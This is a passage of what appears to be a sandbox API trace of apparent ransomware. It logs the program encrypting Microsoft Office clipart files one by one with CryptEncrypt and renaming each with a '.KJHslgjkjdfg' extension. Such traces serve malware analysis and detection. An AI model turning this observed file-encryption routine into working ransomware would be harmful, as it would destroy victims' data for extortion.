lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.467] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.467] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.467] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.467] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.467] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.467] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.467] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.467] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.467] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9dc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9dc, lpOverlapped=0x0) returned 1 [0188.468] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9e0, dwBufLen=0x9e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9e0) returned 1 [0188.468] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.468] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9e0, lpOverlapped=0x0) returned 1 [0188.468] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.468] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.468] SetEndOfFile (hFile=0x130) returned 1 [0188.470] GetProcessHeap () returned 0x990000 [0188.471] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.471] GetProcessHeap () returned 0x990000 [0188.471] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.471] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.kjhslgjkjdfg")) returned 1 [0188.472] CloseHandle (hObject=0x130) returned 1 [0188.472] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf93000, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bf93000, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x914, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01586_.WMF", cAlternateFileName="")) returned 1 [0188.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.472] GetProcessHeap () returned 0x990000 [0188.472] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.473] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.473] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.473] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0188.475] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.475] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.475] GetProcessHeap () returned 0x990000 [0188.475] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.475] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.475] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.475] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.475] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.475] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.475] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.475] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.475] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.476] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.476] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.476] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.476] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x914, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x914, lpOverlapped=0x0) returned 1 [0188.476] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x920, dwBufLen=0x920 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x920) returned 1 [0188.476] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.476] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x920, lpOverlapped=0x0) returned 1 [0188.476] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.476] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.476] SetEndOfFile (hFile=0x130) returned 1 [0188.477] GetProcessHeap () returned 0x990000 [0188.477] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.477] GetProcessHeap () returned 0x990000 [0188.477] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.477] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.kjhslgjkjdfg")) returned 1 [0188.478] CloseHandle (hObject=0x130) returned 1 [0188.478] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf28f0200, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf28f0200, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x4a7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01628_.WMF", cAlternateFileName="")) returned 1 [0188.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.479] GetProcessHeap () returned 0x990000 [0188.479] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.479] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.479] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.479] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.551] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.551] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.551] GetProcessHeap () returned 0x990000 [0188.551] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.551] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.551] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.551] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.552] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.552] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.552] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.552] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.552] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.552] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.552] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.552] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.552] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4a7c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4a7c, lpOverlapped=0x0) returned 1 [0188.554] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4a80, dwBufLen=0x4a80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4a80) returned 1 [0188.554] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.554] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4a80, lpOverlapped=0x0) returned 1 [0188.554] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.554] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.554] SetEndOfFile (hFile=0x130) returned 1 [0188.557] GetProcessHeap () returned 0x990000 [0188.557] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.557] GetProcessHeap () returned 0x990000 [0188.557] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.557] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.kjhslgjkjdfg")) returned 1 [0188.559] CloseHandle (hObject=0x130) returned 1 [0188.559] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa241400, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa241400, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01629_.WMF", cAlternateFileName="")) returned 1 [0188.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.559] GetProcessHeap () returned 0x990000 [0188.559] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.559] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.559] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.560] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0188.561] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.561] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.561] GetProcessHeap () returned 0x990000 [0188.561] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.561] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.561] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.562] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.562] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.562] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.562] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.562] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.562] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.562] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.562] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.562] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.562] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x244, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x244, lpOverlapped=0x0) returned 1 [0188.562] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x250, dwBufLen=0x250 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x250) returned 1 [0188.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.563] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x250, lpOverlapped=0x0) returned 1 [0188.563] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.563] SetEndOfFile (hFile=0x130) returned 1 [0188.565] GetProcessHeap () returned 0x990000 [0188.565] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.565] GetProcessHeap () returned 0x990000 [0188.565] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.565] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.kjhslgjkjdfg")) returned 1 [0188.566] CloseHandle (hObject=0x130) returned 1 [0188.566] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef951100, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xef951100, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01630_.WMF", cAlternateFileName="")) returned 1 [0188.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.568] GetProcessHeap () returned 0x990000 [0188.568] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.568] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.568] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.568] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.569] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.569] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.569] GetProcessHeap () returned 0x990000 [0188.569] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.569] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.569] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.569] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.569] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.569] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.570] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.570] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.570] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.570] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.570] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 